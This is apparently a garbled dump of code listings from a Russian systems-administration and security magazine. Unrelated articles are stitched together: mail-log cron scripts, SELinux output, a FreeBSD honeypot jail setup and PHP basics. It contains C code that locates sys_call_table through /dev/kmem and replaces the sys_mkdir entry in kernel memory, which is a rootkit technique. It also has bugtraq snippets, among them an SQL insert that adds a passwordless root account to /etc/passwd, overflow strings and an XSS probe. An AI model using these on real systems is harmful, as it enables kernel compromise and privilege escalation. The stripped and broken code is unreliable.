X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS -TEST-FILE!$H+H* DrWeb scanning report: ====================== 127.0.0.1 [19926] /var/spool/drweb//drweb.tmp_X19925 - archive MAIL 127.0.0.1 [19926] >/var/spool/drweb//drweb.tmp_X19925/eicar.com infected with EICAR Test File (NOT a Virus!) ======== Summary: ======== known virus is found : 1 # crontab –e –u drweb 00 0-24/10 * * * /opt/drweb/update/update.pl # mv /usr/local/etc/rc.d/drweb /usr/local/etc/rc.d/drweb.sh echo "Usage: $0 {start|stop|restart|reload}" /usr/local/etc/rc.d/drweb.sh start # mkdir /usr/local/pflogsumm # chmod 100 /usr/local/pflogsumm/pflogsumm.pl # chown root:wheel /usr/local/pflogsumm/ pflogsumm.pl # ./pflogsumm.pl Can't locate Date/Calc.pm in @INC (@INC contains: /usr/libdata/perl/5.00503/mach /usr/libdata/perl/5.00503 /usr/local/lib/perl5/site_perl/5.005/i386-freebsd /us r/local/lib/perl5/site_perl/5.005 .) at ./pflogsumm.pl line 213. BEGIN failed--compilation aborted at ./pflogsumm.pl line 213. # tar zxvf Bit-Vector-6.3.tar.gz # cd Bit-Vector-6.3 # perl Makefile.PL # make # make test # make install #!/bin/sh zcat /var/log/maillog.0.gz > /usr/local/pflogsumm/weekly.maillog zcat /var/log/maillog.1.gz >> /usr/local/pflogsumm/weekly.maillog zcat /var/log/maillog.2.gz >> /usr/local/pflogsumm/weekly.maillog zcat /var/log/maillog.3.gz >> /usr/local/pflogsumm/weekly.maillog zcat /var/log/maillog.4.gz >> /usr/local/pflogsumm/weekly.maillog zcat /var/log/maillog.5.gz >> /usr/local/pflogsumm/weekly.maillog zcat /var/log/maillog.6.gz >> /usr/local/pflogsumm/weekly.maillog # Собираем полный недельный протокол в файл weekly.maillog # такой подход облегчает обработку файла. Но в то же время # стоит убедиться, что в системе хватит места для этого файла. echo "/usr/local/apache/htdocs/traffic/" > /usr/local/pflogsumm/weekly.name date -v-7d "+%d%b%Y-" >> /usr/local/pflogsumm/weekly.name date -v-1d "+%d%b%Y" >> /usr/local/pflogsumm/weekly.name # Записываем в файл weekly.name полный путь к результирующему # файлу. Должны получаться имена файлов вроде 17Apr2003-24Apr2003 /usr/local/pflogsumm/pflogsumm.pl /usr/local/pflogsumm/weekly.maillog --smtpd_stats --mailq --problems_first --rej_add_from --verbose_msg_detail --iso_date_time > `tr -d "\n" < /usr/local/pflogsumm/weekly.name` # Запускаем расчеты и перенаправляем стандартный вывод # в результирующий файл cat `tr -d "\n" < /usr/local/pflogsumm/weekly.name` | mail -s `date -v-7d "+%d%b%Y-"``date -v-1d "+%d%b%Y"` # Отправляем копию файла почтой администратору rm /usr/local/pflogsumm/weekly.maillog rm /usr/local/pflogsumm/weekly.name # Убираем за собой мусор #!/bin/sh zcat /var/log/maillog.0.gz > /usr/local/pflogsumm/daily.maillog echo "/usr/local/apache/htdocs/traffic/" > /usr/local/pflogsumm/daily.name date -v-1d "+%d%b%Y" >> /usr/local/pflogsumm/daily.name /usr/local/pflogsumm/pflogsumm.pl -d yesterday /usr/local/pflogsumm/daily.maillog --mailq --problems_first --rej_add_from --verbose_msg_detail –iso_date_time > `tr -d "\n" < /usr/local/pflogsumm/daily.name` date -v-1d "+%d%b%Y" > /usr/local/pflogsumm/tmp.date cat `tr -d "\n" < /usr/local/pflogsumm/daily.name` | mail -s `date -v-1d "+%d%b%Y"` tigrisha@test.ru rm /usr/local/pflogsumm/daily.name rm /usr/local/pflogsumm/tmp.date rm /usr/local/pflogsumm/daily.maillog #!/bin/sh echo "/usr/local/apache/htdocs/traffic/" > /usr/local/pflogsumm/tmp.name date "+%d%b%Y" >> /usr/local/pflogsumm/tmp.name /usr/local/pflogsumm/pflogsumm.pl -d today /var/log/maillog --mailq --problems_first --rej_add_from --verbose_msg_detail –iso_date_time > `tr -d "\n" < /usr/local/pflogsumm/tmp.name` rm /usr/local/pflogsumm/tmp.name # crontab -e -u root 0 1 * * 1 /usr/local/pflogsum/weekly.sh 0 2 * * * /usr/local/pflogsum/daily.sh 20 * * * * /usr/local/pflogsum/hourly.sh Перехват системных вызовов в операционной системе Linux Часть 2 Владимир Мешков gdb -q /usr/src/linux/vmlinux disass system_call 0xc010904d : call *0xc0200520(,%eax,4) x/xw (system_call+45) 0xc010904d : 0x208514ff x/xw (system_call+45+3) 0xc0109050 : 0xc02000520 readaddr (&old_syscall, sct + SYS_CALL*4, 4); writeaddr (new_syscall, sct + SYS_CALL*4, 4); struct kma_struc { ulong (*kmalloc) (uint, int); int size; int flags; ulong mem; } __attribute__ ((packed)); int get_kmalloc(struct kma_struc *k) { k->mem = k->kmalloc(k->size, k->flags); return 0; } push GFP_KERNEL push size call kmalloc gdb -q /usr/src/linux/vmlinux disass inter_module_register 0xc0110de4 : push $0x1f0 0xc0110de9 : push $0x14 0xc0110deb : call 0xc0121c38 x/xw (inter_module_register+4) 0xc0110de4 : 0x0001f068 x/xw (inter_module_register+11) 0xc0110deb : 0x010e48e8 x/xw (inter_module_register+12) 0xc0110deс : 0x00010e48 0xc0110deb + 0x00010e48 + 5 = 0xc0121c38 #include #include #include #include #include #include #include #include #define KMEM_FILE "/dev/kmem" int main() { struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)) idt; #define _SYS_MKDIR_ 39 int kmem; ulong get_kmalloc_size; - размер функции get_kmalloc ulong get_kmalloc_addr; - адрес функции get_kmalloc ulong new_mkdir_size; - размер функции-перехватчика ulong new_mkdir_addr; - адрес функции-перехватчика вызова sys_mkdir ulong sys_mkdir_addr; - адрес системного вызова sys_mkdir ulong page_offset; - нижняя граница адресного пространства ядра ulong sct; - адрес таблицы sys_call_table ulong kma; - адрес функции kmalloc unsigned char tmp[1024]; struct kma_struc { ulong (*kmalloc) (uint, int); int size; int flags; ulong mem; } __attribute__ ((packed)) kmalloc; int get_kmalloc(struct kma_struc *k) { k->mem = k->kmalloc(k->size, k->flags); return 0; } int new_mkdir(const char *path) { return 0; } static inline int rkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } static inline int wkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } static inline int rkml(int fd, uint offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } static inline int wkml(int fd, uint offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } ulong get_sct() { int kmem; ulong sys_call_off; - адрес обработчика прерывания int $0x80 (функция system_call) char *p; char sc_asm[128]; asm("sidt %0" : "=m" (idtr)); if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0; sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; close(kmem); p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; if (p) return *(ulong *)p; return 0; } ulong get_kma(ulong pgoff) { uint i; unsigned char buf[0x10000], *p, *p1; int kmem; ulong ret; ret = get_sym("kmalloc"); if (ret) { printf("\nZer gut!\n"); return ret; } kmem = open("/dev/kmem", O_RDONLY); if (kmem < 0) return 0; for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000) { if (!rkm(kmem, i, buf, sizeof(buf))) return 0; p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4); if(p1) { p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1; if (p) { close(kmem); return *(unsigned long *)p+i+(p-buf)+4; } } } close(kmem); return 0; } #define MAX_SYMS 4096 ulong get_sym(char *n) { struct kernel_sym tab[MAX_SYMS]; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS || numsyms < 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } sct = get_sct(); page_offset = sct & 0xF0000000; kma = get_kma(page_offset); printf("OK\n" "page_offset\t\t:\t0x%08x\n" "sys_call_table[]\t:\t0x%08x\n" "kmalloc()\t\t:\t0x%08x\n", page_offset, sct, kma); kmem = open(KMEM_FILE, O_RDWR, 0); if (kmem < 0) return 0; if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); return 1; } if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); return 1; } if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, ї get_kmalloc_size)) { printf("Can't overwrite our syscall %d!\n",_SYS_MKDIR_); return 1; } kmalloc.kmalloc = (void *) kma; - адрес функции kmalloc kmalloc.size = new_mkdir_size; - размер запращевоемой памяти (размер функции-перехватчика new_mkdir) kmalloc.flags = 0x1f0; - спецификатор GFP mkdir((char *)&kmalloc,0); if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Can't restore syscall %d !\n",_SYS_MKDIR_); return 1; } if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1; } printf( "sys_mkdir_addr\t\t:\t0x%08x\n" "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n" "our kmem region\t\t:\t0x%08x\n" "size of our kmem\t:\t0x%08x (%d bytes)\n\n", sys_mkdir_addr, get_kmalloc_size, get_kmalloc_size, kmalloc.mem, kmalloc.size, kmalloc.size); if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, ї new_mkdir_size)) { printf("Unable to locate new system call !\n"); return 1; } if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) { printf("Eh ..."); return 1; } return 1; } gcc -o new_mkdir new_mkdir.c objdump -x ./new_mkdir > dump 08048630 l F .text 00000038 get_kmalloc.39 08048668 l F .text 00000011 new_mkdir.43 ulong get_kmalloc_size=56; - размер функции get_kmalloc ulong get_kmalloc_addr=0x08048630; - адрес функции get_kmalloc ulong new_mkdir_size=17; - размер функции new_mkdir ulong new_mkdir_addr=0x08048668; - адрес функции new_mkdir bugtraq стр.62 StrnCpy(fname,pname,namelen); /* Line 252 of smbd/trans2.c */ create table test external '/etc/passwd' (id char(80)); insert into test values('r00t::0:0:root:/root:/bin/bash'); http://hostname:7464/ -------------- GET / HTTP/1.0 Connection: -------------- GET / HTTP/1.0 Range: http://usuarios.lycos.es/idoru/aaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip SELinux Сергей Яремчук Network Packet Filtering Enable different security models Capabilities Support NSA SELinux Support NSA SELinux Development Support [root@grinder /]# ps -e --context PID SID CONTEXT COMMAND 1 7 system_u:system_r:init_t init 2 1 system_u:system_r:kernel_t [keventd] 3 1 system_u:system_r:kernel_t [kapmd] 4 1 system_u:system_r:kernel_t [ksoftirqd_CPU0] 5 1 system_u:system_r:kernel_t [kswapd] 6 1 system_u:system_r:kernel_t [bdflush] 7 1 system_u:system_r:kernel_t [kupdated] 8 7 system_u:system_r:init_t [khubd] 9 7 system_u:system_r:init_t [kjournald] 920 345 system_u:system_r:syslogd_t syslogd -m 0 942 367 system_u:system_r:klogd_t klogd -x 1012 423 system_u:system_r:gpm_t gpm -t ps/2 -m /dev/mouse [root@grinder /]# ls -l --context drwxr-xr-x root root system_u:object_r:bin_t bin drwxr-xr-x root root system_u:object_r:boot_t boot drwxr-xr-x root root system_u:object_r:device_t dev drwxr-xr-x root root system_u:object_r:etc_t etc drwxr-xr-x root root system_u:object_r:file_t initrd drwxr-xr-x root root system_u:object_r:lib_t lib drwxr-xr-x root root system_u:object_r:opt_t opt drwxr-xr-x root root system_u:object_r:file_t misc drwxr-xr-x root root system_u:object_r:file_t mnt dr-xr-xr-x root root system_u:object_r:proc_t proc drwxr-x--- root root system_u:object_r:sysadm_home_dir_t root drwxr-xr-x root root system_u:object_r:sbin_t sbin drwxrwxrwt root root system_u:object_r:tmp_t tmp drwxr-xr-x root root system_u:object_r:usr_t usr drwxr-xr-x root root system_u:object_r:var_t var cd policy su make relabel [root@grinder /]# id uid=0(root) gid=0(root) groups=0(root) context=root:user_r:user_t sid=260 [root@grinder /]# avc_toggle enforcing [root@grinder /]# avc_toggle avc_toggle: Permission denied [root@grinder /]# newrole -r sysadm_r Authenticating root. Password: [root@grinder /]# avc_toggle permissive /var/www/html(/.*)? system_u:object_r:httpd_sys_content_t /var/www/mrtg(/.*)? system_u:object_r:httpd_sys_content_t /var/www/cgi-bin(/.*)? system_u:object_r:httpd_sys_script_t /usr/lib/cgi-bin(/.*)? system_u:object_r:httpd_sys_script_t /var/www/perl(/.*)? system_u:object_r:httpd_sys_script_t /var/www/icons(/.*)? system_u:object_r:httpd_sys_content_t /var/cache/httpd(/.*)? system_u:object_r:httpd_cache_t /etc/httpd system_u:object_r:httpd_config_t /etc/httpd/conf(/.*)? system_u:object_r:httpd_config_t /usr/lib/apache(/.*)? system_u:object_r:httpd_modules_t /usr/lib/cgi-bin/(nph-)?cgiwrap(d)?system_u:object_r:httpd_suexec_exec_t [root@grinder /]# tail /var/log/messages | ./scripts/newrules.pl allow httpd_t home_root_t:dir { getattr search }; allow httpd_t user_home_dir_type:dir { getattr search }; bugtraq стр.69 quicktime://127.0.0.1/AAAA... [with 400 'A' characters] hping2 -t 104 -N -W -s 18245 -p 21536 -S -F -X 'IP Address' Технологии протоколирования Honeypot в обеспечении безопасности сетевых Unix-систем Антон Даниленко #!/bin/sh D=/JAIL/jail1 # is do use a special mounted partition mkdir –p ${D} cd /usr/src make hierarchy DESTDIR=$D make obj make depend make all make install DESTDIR=$D cd etc make distribution DESTDIR=$D –DNO_MAKEDEV_RUN cd $D/dev sh MAKEDEV jail cd $D ln –sf dev/null kernel #!/bin/sh D=/JAIL/jail1 cd /usr/src make world DESTDIR=$D cd etc make distribution DESTDIR=$D –DNO_MAKEDEV_RUN cd $D/dev sh MAKEDEV jail cd $D ln –sf dev/null kernel mkdir –p /usr/src/distrib/jailadmin cd /usr/src/distrib/jailadmin wget http://subwiki.honeypot.net/pub/Freebsd/JailAdmin/jailadmin-1.5.tar.gz tar xzvf jailadmin-1.5.tar.gz ./install.sh jaildir=/var/jailed virtual1 ip: 192.168.0.2 hostname: www.domain.com virtual2 ip: 192.168.0.3 hostname: www.otherdomain.com ifconfig rl0 inet alias 192.168.0.2 netmask 255.255.255.255 ifconfig rl0 inet alias 192.168.0.3 netmask 255.255.255.255 hostname=”www.domain.com” syslogd_enable=”NO” inetd_enable=”YES” inetd_flags=”-wW –a 192.168.0.2” sendmail_outbound_enable=”YES” sendmail_outbound_flags=”-q30m” sshd_enable=”YES” mount –t union –o –b /usr/ports /var/jailed/virtual1/usr/ports/ /usr/local/sbin/jailadmin start all cd /usr/ports/sysutils/syslog-ng make && make install cp /usr/local/etc/syslog-ng/syslog-ng.conf.sample /usr/local/etc/syslog-ng/syslog-ng.conf syslogd_program=”/usr/local/sbin/syslog-ng” syslogd_flags=»» source gateway { unix-dgram(«/dev/log»); # создаем /dev/log на материнской машине internal(); unix-dgram(“/var/jailed/logs/dev/log”); # создаем /dev/log в jailed-окружении }; destination localhost { file(«/var/log/syslog-ng.all»); # дублируем все протоколы в файл на диске локальной машины }; destination shell { tcp(«127.0.0.1» port(5140)); # перенаправляем все протоколы на локальный порт 5140, где «слушает» stunnel }; log { source(gateway); destination(localhost); source(gateway); destination(shell); }; kill `cat /var/run/syslog.pid` /usr/local/sbin/syslog-ng wget http://www.stunnel.org/download/stunnel/src/stunnel-4.04.tar.gz tar xzvf stunnel-4.04.tar.gz cd stunnel-4.04/ ./configure make make install cert = /usr/local/etc/stunnel/stunnel.pem pid = /tmp/stunnel.pid setuid = nobody setgid = nogroup Cafile = /usr/local/etc/stunnel/certs.pem debug = 7 # вывод дополнительной информации о работе stunnel (после настройки можно отключить output = stunnel.log # файл вывода дополнительной информации client = yes # работа в качестве клиента [5140] accept = 5140 connect = 192.168.0.3:5140 # адрес и портсервера stunnel (сервера протоколов) /usr/local/sbin/stunnel cert = /usr/local/etc/stunnel/stunnel.pem pid = /tmp/stunnel.pid setuid = nobody setgid = nogroup Cafile = /usr/local/etc/stunnel/certs.pem debug = 7 # вывод дополнительной информации о работе stunnel (после настройки можно отключить output = stunnel.log # файл вывода дополнительной информации client = no # работа в качестве клиента [514] accept = 5140 connect = 192.168.0.2:514 # адрес и порт клиента stunnel source gateway { unix-dgram(«/dev/log»); # создаем /dev/log на материнской машине internal(); tcp(ip(192.168.0.2) port(514) max-connections(1)); }; destination localhost { file(“/var/log/syslog-ng.all”); # дублируем все протоколы в файл на диске локальной машины }; log { source(gateway); destination(localhost); }; sysctl kern.securelevel=1 kern_securelevel_enable="YES" kern_securelevel="1" kern.ps_showallprocs=0 chflags schg /var/jailed/virtual1/usr/bin/login wget http://unc.dl.sourceforge.net/sourceforge/swatch/swatch-3.0.5.tar.gz tar xzvf swatch-3.0.5.tar.gz cd swatch-3.0.5/ wget http://cpan.org/authors/id/S/ST/STBEY/Date-Calc- 5.3.tar.gz wget http://ftp.u-picardie.fr/local/cricket/TimeDate- 1.08.tar.gz tar xzvf Date-Calc-5.3.tar.gz cd Date-Calc-5.3/ perl Makefile.PL make make test make install cd ../ tar xzvf TimeDate-1.08.tar.gz cd TimeDate-1.08/ perl Makefile.PL make make test make install cd ../ perl Makefile.PL make make test make install make realclean watchfor /stunnel.*: .*Connection refused/ echo exec echo $0 | mail -s\"Проблема с stunnel\" oncall\\@example.com throttle 30:00 watchfor /attackalert:/ echo exec echo $0 | mail -s\"Предупреждение об атаке portsentry\" oncall\\@example.com throttle 5:00 watchfor /No space left on device/ echo exec echo $0 | mail -s\"Не хватает свободного места на диске\" oncall\\@example.com throttle 30:00 watchfor /\'su root\' failed/ echo bold exec echo $0 | mail -s\"Неудачная попытка su root\" oncall\\@example.com throttle 30:00 destination swatch { program("/usr/bin/swatch --read-pipe=\"cat /dev/fd/0\""); }; # посылать все протоколы swatch log { source(src); destination(swatch); }; destination swatch { program("su syslog -c '/usr/bin/swatch --read- ї pipe=\"cat /dev/fd/0\"'"); }; Советы по Безопасной веб-аутентификации Игорь Тетерин GetUrl(”javascript:alert(“123”);”); (для cookie) print < OPA } (для содержимого) print < OPA }
use WebIn(1); if (exists($COOKIE{id})) {CheckID()} # если в куках пришел # параметр id тогда нужно его проверить $ip=$ENV{REMOTE_ADDR}; # тут необходима проверка # валидности IP и на заблокированные IP $login=$POST{login}; $password=crypt($login,$POST{password}); ($sec,$min,$hour,$mday,$mon,$year) = (localtime(time))[0,1,2,3,4,5]; $mon+=1; $hour="0$hour" if ($hour<10); $min="0$min" if ($min<10); $mday="0$mday" if ($mday<10); $mon="0$mon" if ($mon<10); $year+=1900; $time=$year.$mon.$mday.$hour.$min.$sec; if ($login eq $login_ && $password eq $password_) {CreateID()} else {WrongAuthorisation()} sub CreateID { return 0; } -----------------------------7d339828e8 Content-Disposition: form-data; name="login"; filename="longfilename.txt" Content-Type: text/plain -----------------------------7d339828e8 Content-Disposition: form-data; name="login" AAABBBCCCАААБББВВВ -----------------------------7d339828e8-- -----------------------------41184676334 Content-Disposition: form-data; name="login" AAABBBCCCАААБББВВВ -----------------------------41184676334-- PHP Сергей Яремчук <% PHP-инструкции %> 1. 2. 3.Hello 4. 5. 6. 7. 9. 10. header("Pragma: no-cache") . . Hello from hello.inc\n"; } function printnumbers($start) { print "

"; // выводим начальный тег for($temp=0; $temp < 5; $temp++) { /* теперь выведем значение переменной */ print $start++ . "
\n"; } print "

"; // выводим конечный тег } ?> Начинаем

Заканчиваем

$cat" ?> for ($i = 1; $i <= 10; print $start++ , $i++) ;